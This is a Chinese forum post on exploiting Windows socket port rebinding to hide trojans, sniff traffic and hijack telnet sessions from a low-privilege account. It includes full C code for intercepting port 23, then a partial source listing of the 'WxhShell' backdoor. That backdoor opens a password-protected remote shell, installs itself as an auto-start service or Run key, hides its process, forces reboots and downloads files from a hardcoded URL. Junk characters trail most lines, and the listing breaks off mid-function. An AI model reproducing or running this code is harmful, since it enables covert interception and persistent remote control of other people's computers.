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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~"&|W'he[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7cT~oV !G_  
%G_B^p4  
  saddr.sin_family = AF_INET; nn:.nU|I  
Vvn2 Ep  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2~1SQ.Q<RY  
ll<Xz((o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^w@%cVh  
*yt=_Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0KcyLAJ  
,c$_t+  
  这意味着什么?意味着可以进行如下的攻击: j_!F*yul  
7{)G_?Q&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9Zt`u,;  
RXpw!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rb2S7k0{  
Jr ,;>   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D3Ig>gKo?m  
"$Z= %.3Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Vod\a 5c  
dGYn4i2k?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ustv{:7v  
4$iz4U:P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q77;ZPfs8  
/ivJsPH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pmr5S4Ka  
B:;pvW]  
  #include 8>2.UrC  
  #include j9x<Y]  
  #include fcRxp{*zO  
  #include    'RQ+g}|Ba!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [LjT*bi  
  int main() L%*!`TN  
  { hYT0l$Ng  
  WORD wVersionRequested; szZr4y<8|1  
  DWORD ret; e#L8X {f  
  WSADATA wsaData; SIF/-{i(X  
  BOOL val; [fya)}  
  SOCKADDR_IN saddr; @Q ]=\N:  
  SOCKADDR_IN scaddr; 7 S#J>*  
  int err; L3u&/Tn2  
  SOCKET s; LEbB(x;@  
  SOCKET sc; 53;}Nt#R  
  int caddsize; N=T<_`$5  
  HANDLE mt; ]_mb7X>  
  DWORD tid;    N_kMK  
  wVersionRequested = MAKEWORD( 2, 2 ); 7u -p%eq2  
  err = WSAStartup( wVersionRequested, &wsaData ); Z58 X5"  
  if ( err != 0 ) { (Ft+uuG  
  printf("error!WSAStartup failed!\n"); (^8Y|:Tz  
  return -1; :j9l"5"  
  } u<7/0;D#+  
  saddr.sin_family = AF_INET; knu,"<  
   9-VNp;V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iW]j9}t  
v}}F,c(f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :}L[sl\R  
  saddr.sin_port = htons(23); ajbA\/\G;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3 Gp$a;g  
  {  acajHs  
  printf("error!socket failed!\n"); [i21FX  
  return -1; 9N#_( uwt  
  } a+[KI  
  val = TRUE; G}9Jg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~WeM TXF>y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I*:%ni2  
  { !1jBC.G1  
  printf("error!setsockopt failed!\n"); Go`vfm"S  
  return -1; e8>})  
  } :)-Sk$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1E[J%Rh\ l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,uSMQS-O'4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oA7tE u   
n$MO4s8)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (Z+.45{-  
  { lK?uXr7^  
  ret=GetLastError(); LiC*@W  
  printf("error!bind failed!\n"); 4M=]wR;  
  return -1; rT=rrvV3g  
  } ?qv !w~m<  
  listen(s,2); <,3a3  
  while(1) BA@lk+aW  
  { FZ{h?#2?  
  caddsize = sizeof(scaddr); [SjqOTon{  
  //接受连接请求 %+aCJu[k(z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (+w*[qHe  
  if(sc!=INVALID_SOCKET) h"[AOfTE$  
  { MD}w Y><C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f&N gS+<K$  
  if(mt==NULL) -V*R\,>  
  { 9@SC}AF.  
  printf("Thread Creat Failed!\n");  R~TTL  
  break; bWjc'P6rx  
  } ]g#:KAqz  
  } fbyd"(V 8r  
  CloseHandle(mt); 2 ~dE<}  
  } a kkNI3  
  closesocket(s); |0&IXOW"XF  
  WSACleanup(); v^sv<4*%  
  return 0; paA(C|%{  
  }   +C^nO=[E  
  DWORD WINAPI ClientThread(LPVOID lpParam) _>o:R$ %}  
  { Hc;[Cs0  
  SOCKET ss = (SOCKET)lpParam; f$o_e90mu  
  SOCKET sc; vz@A;t  
  unsigned char buf[4096]; 3<e=g)F  
  SOCKADDR_IN saddr; Yj<a" Gr4[  
  long num; 7m47rJyW4  
  DWORD val; bt@< ut\  
  DWORD ret; [7:,?$tC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XnH05LQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3p$?,0ELH  
  saddr.sin_family = AF_INET; i7CX65&b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u%GEqruo[  
  saddr.sin_port = htons(23); m;$ b'pT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,5P0S0*{  
  { [CTnXb  
  printf("error!socket failed!\n"); /m!BY}4W  
  return -1; #JqB ;'\  
  } <X#C)-.  
  val = 100; ^7`BP%6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [>vLf2OID  
  { v1#otrf  
  ret = GetLastError(); ,X?{07gH  
  return -1; h,(26 y/s  
  } CmWeY$Jb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j}#w )M  
  { [DYQ"A= )d  
  ret = GetLastError(); ;_XFo&@  
  return -1; !K#qeY}  
  } ]HbY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #]-SJWf3  
  { fQ7V/x!  
  printf("error!socket connect failed!\n"); Q*GN`07@?d  
  closesocket(sc); 2/U.| *mH  
  closesocket(ss); *j|~$e}C  
  return -1; Q@=Q0  
  } ~EW(Gs!=C  
  while(1) \wmN  
  { }czrj%6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XjBW9a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gZVc 5u<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y1z4ik)Sd@  
  num = recv(ss,buf,4096,0); "BAK !N$9  
  if(num>0) [=C6U_vU  
  send(sc,buf,num,0); r[e##M  
  else if(num==0) y-Fo=y  
  break; 6dHOf,zjm  
  num = recv(sc,buf,4096,0); }YQX~="  
  if(num>0) pt?bWyKG  
  send(ss,buf,num,0); 3s*mbk[J  
  else if(num==0) L]7=?vN=8  
  break; +tB=OwU%0  
  } rD tY[  
  closesocket(ss); SV4E0c>  
  closesocket(sc); .C%<P"=J4h  
  return 0 ; aNsBcov3O  
  } W@>% {eE  
5; C|  
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========================================================== F k7?xc  
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下边附上一个代码,,WXhSHELL _=>He=v/  
TT%M' 5&  
========================================================== 5{TsiZh4  
 OHN_  
#include "stdafx.h" uuEV_"X  
a"1t-x  
#include <stdio.h>  l03B=$  
#include <string.h> N>uRf0E>  
#include <windows.h> 2F;y;l%  
#include <winsock2.h> $V;i '(&7  
#include <winsvc.h> 8bGd} (  
#include <urlmon.h> E*& vy  
B^=-Z8  
#pragma comment (lib, "Ws2_32.lib") AD> e?u  
#pragma comment (lib, "urlmon.lib") 4(n-_BS  
=>S]q71  
#define MAX_USER   100 // 最大客户端连接数 D_2:k'4  
#define BUF_SOCK   200 // sock buffer >IafUy  
#define KEY_BUFF   255 // 输入 buffer *][`@@->  
$GV7o{"&  
#define REBOOT     0   // 重启 K`eCDvlH  
#define SHUTDOWN   1   // 关机 -:^U_FL8un  
NSMyliM1Y  
#define DEF_PORT   5000 // 监听端口 o)|flI'vT  
f^ZRT@`O  
#define REG_LEN     16   // 注册表键长度 O^PKn_OJ  
#define SVC_LEN     80   // NT服务名长度 2ACCh4(/P  
Eh`7X=Z7E  
// 从dll定义API CZe ]kXNv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;1W6G=m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *-WpZGh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h8j.(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? V1*cVD6i  
bRDYGuC  
// wxhshell配置信息 OKZV{Gja  
struct WSCFG { @s>Czm5  
  int ws_port;         // 监听端口 BR_1MG'{)$  
  char ws_passstr[REG_LEN]; // 口令 R-wp9^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]#<4vl\  
  char ws_regname[REG_LEN]; // 注册表键名 z kP_6T09  
  char ws_svcname[REG_LEN]; // 服务名 SGRp3,1\4%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;O5zUl-`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tFn)aa~L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pad*oPH,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S}3fr^{.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P:S.~Jq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v"$L702d$\  
]%SH>  
}; I|!OY`ko  
/62!cp/F/D  
// default Wxhshell configuration mIvx1_[  
struct WSCFG wscfg={DEF_PORT, /<k/7TF`  
    "xuhuanlingzhe", 539>WyG5  
    1, 8rGgF]F  
    "Wxhshell", M?49TOQA  
    "Wxhshell", +E+p"7  
            "WxhShell Service", }K>d+6qk5  
    "Wrsky Windows CmdShell Service", 'BxX0  
    "Please Input Your Password: ", 9RL`<,Q  
  1, K3m/(jdO  
  "http://www.wrsky.com/wxhshell.exe", B@))8.h]  
  "Wxhshell.exe" gg/-k;@ Rf  
    }; uMv,zO5  
c#]4awHU  
// 消息定义模块 xH,a=8&9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M0"_^?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B mb0cF Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fbvL7* (  
char *msg_ws_ext="\n\rExit."; 8W7J3{d  
char *msg_ws_end="\n\rQuit."; )q4[zv9  
char *msg_ws_boot="\n\rReboot...";  > |=ts  
char *msg_ws_poff="\n\rShutdown..."; Uc>lGo1j  
char *msg_ws_down="\n\rSave to "; Qel9G($=  
LOYk9m  
char *msg_ws_err="\n\rErr!"; /}Axf"OE  
char *msg_ws_ok="\n\rOK!"; E]d. z6k  
W@IQ^ }E  
char ExeFile[MAX_PATH]; ?z+eWL  
int nUser = 0; =svN#q5s  
HANDLE handles[MAX_USER]; IPpN@  
int OsIsNt; o/)h"i0P  
372rbY  
SERVICE_STATUS       serviceStatus; RB\uK 1+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3}1u\(Mf  
T!{w~'=F  
// 函数声明 0mVNQxHI  
int Install(void); gJ{)-\  
int Uninstall(void); @HCVmg:  
int DownloadFile(char *sURL, SOCKET wsh); 3?yg\  
int Boot(int flag); }8z?t:|S  
void HideProc(void); 5tk AFb4P  
int GetOsVer(void); .<FH>NW)  
int Wxhshell(SOCKET wsl); l)\! .X  
void TalkWithClient(void *cs); }X6m:#6  
int CmdShell(SOCKET sock); qDIZJ h  
int StartFromService(void); <lPG=Xt  
int StartWxhshell(LPSTR lpCmdLine); 3d]S!=4H"  
N+xP26D8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]m<$}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Llo"MO*sr  
'H!Uh]!  
// 数据结构和表定义 P@B]  
SERVICE_TABLE_ENTRY DispatchTable[] = }0z)5c  
{ cI*;k.KU  
{wscfg.ws_svcname, NTServiceMain}, Lq^)R  
{NULL, NULL} {\5  
}; =T@1@w  
)10+@d  
// 自我安装 # W']6'O  
int Install(void) teF9Q+*~  
{ \b x$i*  
  char svExeFile[MAX_PATH]; 2ilQXy  
  HKEY key; vE?G7%,  
  strcpy(svExeFile,ExeFile); aFYIM`?(  
u6agoK|^9  
// 如果是win9x系统,修改注册表设为自启动 h]gp^?=  
if(!OsIsNt) { n>YKa)|W`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0e4{{zQx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bd-L` ={j  
  RegCloseKey(key); +0Y&`{#Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~?BXti<!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /4Gt{yg Sr  
  RegCloseKey(key); lo+A%\1  
  return 0; i/4>2y9/F4  
    } /8S>;5hvK@  
  } |{ip T SH  
} .k !{*  
else { (<9u-HF#  
k,*XG$2h  
// 如果是NT以上系统,安装为系统服务 O0.*Pmt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;Y, y4{H3  
if (schSCManager!=0) W<g1<z\f  
{ 2+XA X:YD  
  SC_HANDLE schService = CreateService WyiQoN'q  
  ( 2^7`mES  
  schSCManager, y9ZvV0  
  wscfg.ws_svcname, t6c4+D'{].  
  wscfg.ws_svcdisp, {l@{FUv  
  SERVICE_ALL_ACCESS, $& c*'3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R|(a@sL  
  SERVICE_AUTO_START, /n&&Um\  
  SERVICE_ERROR_NORMAL, FSO).=#  
  svExeFile, F== p<lrs  
  NULL, XiWmV  ?  
  NULL, K&-"d/QuLg  
  NULL, !N^@4*  
  NULL, m&3xJuKih  
  NULL gSj,E8-g  
  ); R;LP:,)  
  if (schService!=0) OyIw>Wfv  
  { "AqB$^S9t  
  CloseServiceHandle(schService); tH4B:Bgj!  
  CloseServiceHandle(schSCManager); #'`{Qv0,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c:('W16  
  strcat(svExeFile,wscfg.ws_svcname); n$R)>n Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }@)[5N# A|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [-w%/D%@  
  RegCloseKey(key); y~V(aih}D  
  return 0; *-X[u:  
    } %BODkc Zh  
  } PA*5Bk="q  
  CloseServiceHandle(schSCManager); !4!~L k=  
}  bN.Pex  
} DY*N|OnqJ  
EU#^7  
return 1; |7~<Is~ *  
} >$7B wO  
zH r_!~  
// 自我卸载 Z\sDUJ  
int Uninstall(void) '"s@enD0y  
{ %yC,^  
  HKEY key; v$9y,^p@e  
pgo$ 61  
if(!OsIsNt) { DmcZta8n]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8P`"M#fI  
  RegDeleteValue(key,wscfg.ws_regname); eMzk3eOJ  
  RegCloseKey(key); 5)40/cBe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *qq+jsA6wH  
  RegDeleteValue(key,wscfg.ws_regname); XWw804ir  
  RegCloseKey(key); {;oPLr+Z  
  return 0; J}t%p(mb  
  } :(%5:1W  
} lTsjxw o  
} <UCl@5g&  
else { dh\P4  
=(^3}x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l^ }c!  
if (schSCManager!=0) b,@/!ia  
{ I-)4YQI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HaYo!.(Fv  
  if (schService!=0) ;*J  
  { /L 3:  
  if(DeleteService(schService)!=0) { B5QFK  
  CloseServiceHandle(schService); 5V-I1B&  
  CloseServiceHandle(schSCManager); wIgS3K  
  return 0; Bw.i}3UT6  
  } 4p wH>1  
  CloseServiceHandle(schService); 73-p*o(pt  
  } q(w(Sd)#L  
  CloseServiceHandle(schSCManager); < %Y}R\s?  
} ,x$,l  
} ^zr`;cJ+c  
Y/oHu@ _  
return 1; +C)~bb*  
} /wv0i3_e  
<3 uNl  
// 从指定url下载文件 ~#/  
int DownloadFile(char *sURL, SOCKET wsh) Dp:BU|r  
{ vQ.R{!",>  
  HRESULT hr; EM_d8o)`B  
char seps[]= "/"; gM]:Ma  
char *token; Y-9I3?ar  
char *file; &5;"#:ORcK  
char myURL[MAX_PATH]; (k P9hcV  
char myFILE[MAX_PATH]; (m$Y<{)2  
+`15le`R  
strcpy(myURL,sURL); *WZA9G#V5  
  token=strtok(myURL,seps); Y0> @vTUX  
  while(token!=NULL) r_d! ikOT(  
  { @F>D+=hS  
    file=token; [>9is=>o.  
  token=strtok(NULL,seps); >mkFV@`  
  } jWgX_//!  
A}w/OA97RO  
GetCurrentDirectory(MAX_PATH,myFILE); ?A0)L27UE&  
strcat(myFILE, "\\"); O0:q;<>z  
strcat(myFILE, file); |BYRe1l6l  
  send(wsh,myFILE,strlen(myFILE),0); $Kd>:f=A  
send(wsh,"...",3,0); 7$#u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kf9X$d6   
  if(hr==S_OK) ; @X<lCk  
return 0; Bp{Ri_&A  
else ^?|"L>y  
return 1; l"]V6!-U  
1Ws9WU  
} H*6W q  
R-14=|7a-  
// 系统电源模块 _dU\JD  
int Boot(int flag) Xc.`-J~Il  
{ {G-kNU  
  HANDLE hToken; afk>+4q  
  TOKEN_PRIVILEGES tkp; 4!$"ayGv;D  
zeRyL3fnmb  
  if(OsIsNt) { m+9#5a-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0`H# '/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M\=2uKG#  
    tkp.PrivilegeCount = 1; ,u m|1dh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DNi+"[~&P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kT=8e;K  
if(flag==REBOOT) { lxi<F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [hs ds\  
  return 0; 8k79&|  
} :KO2| v\  
else { Va8&Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b Zt3|  
  return 0; n@w%Zl  
} xD$\,{  
  } .C(tMF]D,  
  else { JI5Dy>u:  
if(flag==REBOOT) { X?Au/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a{e4it  
  return 0; \NC3'G:Ii  
} Mihg:  
else { P;*(hY5&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :EyD+!LJ  
  return 0; E"0>yl)  
} >d6|^h'0  
} adw2x pj  
.(vwIb8\_  
return 1; .V*^|UXbHi  
} Hv, LS ;W  
45oR=At n  
// win9x进程隐藏模块 ^}r1;W?n  
void HideProc(void) T0 {Lq:  
{ r*Xuj=  
28nFRr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SAz   
  if ( hKernel != NULL ) =">NQ)98u  
  { j!ch5A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nDW9NQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W>LR\]Ti@  
    FreeLibrary(hKernel); D,6:EV"sa  
  } snJ129}A  
7o4\oRGV  
return; '<M{)?  
} uq{ beC  
oU/5 a>9~  
// 获取操作系统版本 ;Xw~D_uv  
int GetOsVer(void) ##{taR8  
{ DI%saw  
  OSVERSIONINFO winfo; r/1(]#kOX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ 3HfQ  
  GetVersionEx(&winfo); x"~JR\yzKJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wS*E(IAl  
  return 1; Q.[0ct  
  else P*o9a  
  return 0; ;=N# `l  
} 9B4&m|g  
K%d&EYoW]  
// 客户端句柄模块 0aAoV0fMDz  
int Wxhshell(SOCKET wsl) 2?x4vI np;  
{ BuwY3F\-O  
  SOCKET wsh; [gB+C84%%  
  struct sockaddr_in client; _Y!IEAU/#  
  DWORD myID;  XilS!,  
6wxs1G  
  while(nUser<MAX_USER) M`>E|" <  
{ Yz bXuJ4  
  int nSize=sizeof(client); Lv%x81]K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kP"9&R`E  
  if(wsh==INVALID_SOCKET) return 1; Q;u pau  
}'.m*#Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #F#%`Rv1  
if(handles[nUser]==0) `9 L>*  
  closesocket(wsh); RZ7@cQY  
else <q SC#[xu  
  nUser++; nlYNN/@"  
  } "fI6Cpc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HhpDR  
PdCEUh\>y  
  return 0; TN.rrop`#g  
} OH88n69  
}}[2SH'nH  
// 关闭 socket w &(ag$p'  
void CloseIt(SOCKET wsh) +H.`MZ=  
{ <!+Az,-  
closesocket(wsh); YN,A )w:]  
nUser--; Ngwb Q7)  
ExitThread(0); WM{=CD  
} H.c7Nle  
25T18&R  
// 客户端请求句柄 K;(mC<  
void TalkWithClient(void *cs) ^"g~-  
{ OPi0~s  
,>M[@4`,U  
  SOCKET wsh=(SOCKET)cs; U17d>]ka  
  char pwd[SVC_LEN]; yr6V3],Tp  
  char cmd[KEY_BUFF]; "z c l|@  
char chr[1]; R=dC4;  
int i,j; O=lzT~G|4  
[ }:$yg  
  while (nUser < MAX_USER) { nu^436MSOa  
]yu:i-SfP  
if(wscfg.ws_passstr) { \lY_~*J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4JEpl'5^Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TV:9bn?r)  
  //ZeroMemory(pwd,KEY_BUFF); Mhu*[a=;x  
      i=0; XuTD\g3)  
  while(i<SVC_LEN) { O8o3O 6[Y  
p'k0#R$  
  // 设置超时 (mOtU8e  
  fd_set FdRead; =vPj%oLp'a  
  struct timeval TimeOut; lk!@?  
  FD_ZERO(&FdRead); s.#`&Sd>  
  FD_SET(wsh,&FdRead); z{6Z 11|  
  TimeOut.tv_sec=8; l.]xB,k  
  TimeOut.tv_usec=0; h 0|s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L-Lvp%%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B1gR5p0  
E@\e$?*X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LscGTs,  
  pwd=chr[0]; G B^Br6  
  if(chr[0]==0xd || chr[0]==0xa) { 9$Y=orpWxr  
  pwd=0; 83m3OD_y  
  break; ~>G^=0LT  
  } 9^x> 3Bo  
  i++; UBs4K*h|  
    } QnDg 6m)+  
i@q&5;%%  
  // 如果是非法用户,关闭 socket )_:NLo:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =%7-ZH9  
} _M1%Z~  
"&] -2(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -4K5-|>O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $xqa{L%B  
0"R|..l/  
while(1) { ~~.}ah/_d  
ta0|^KAA  
  ZeroMemory(cmd,KEY_BUFF); xG 1n GO  
YR70BOxK  
      // 自动支持客户端 telnet标准   Smh,zCc>s  
  j=0; vI?, 47Hj+  
  while(j<KEY_BUFF) { 7^Uv7< pw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SJLis"8  
  cmd[j]=chr[0]; 7=uj2.J6  
  if(chr[0]==0xa || chr[0]==0xd) { JT?h1v<H]  
  cmd[j]=0; WAqINLdX  
  break; _g8yDfcLG  
  } 8|^7ai[am  
  j++; WxDh;*am:  
    } 0J|3kY-n>  
cK@wsA^4  
  // 下载文件 <v2;p}A  
  if(strstr(cmd,"http://")) { Q59suL   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?0.NIu,,o  
  if(DownloadFile(cmd,wsh)) +3gp%`c4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =wJX 0A|  
  else K"6vXv4QO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iscz}E,Y  
  } `V1]k_h  
  else { sA~]$A;DM!  
 }ZI7J  
    switch(cmd[0]) { V9vTsmo(  
  Iv *<L a  
  // 帮助 \['Cj*ek  
  case '?': { / FII07V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :s,Z<^5a)g  
    break; n<,BmVQ  
  } SM '|+ d  
  // 安装 0K+ne0I  
  case 'i': { do_[&  
    if(Install()) 3$tdwe$S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)&%A%m  
    else GyIV Hby  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xvv6~  
    break; =l6mL+C  
    } #E?4E1bnB  
  // 卸载 %>yL1BeA4  
  case 'r': { \+etCo   
    if(Uninstall()) M:8R -c#![  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `uFdwO'DD  
    else {ax:RUQxy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /z!%d%"  
    break; }C:r 9? T  
    } \zY!qpX<  
  // 显示 wxhshell 所在路径 O^.#d  
  case 'p': { ~&T~1xsFJ  
    char svExeFile[MAX_PATH]; \m,PA'nd/  
    strcpy(svExeFile,"\n\r"); LLo;\WGZ  
      strcat(svExeFile,ExeFile); dG{A~Z z  
        send(wsh,svExeFile,strlen(svExeFile),0);  g-A-kqo9  
    break; r$1Qf}J3=  
    } yevPHN"M  
  // 重启 )4OxY[2J  
  case 'b': { {=WgzP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <} .$l  
    if(Boot(REBOOT)) "g|#B4'e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NUZl`fu1Z4  
    else { 6<]lW  
    closesocket(wsh); 2iOV/=+  
    ExitThread(0); YVU7wW,1  
    } \G[$:nS  
    break; -@s#uA h  
    } 7r!x1  
  // 关机 M7T5 ~/4  
  case 'd': { s*[bFJwN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8Wx=p#_  
    if(Boot(SHUTDOWN)) %;_MGae  
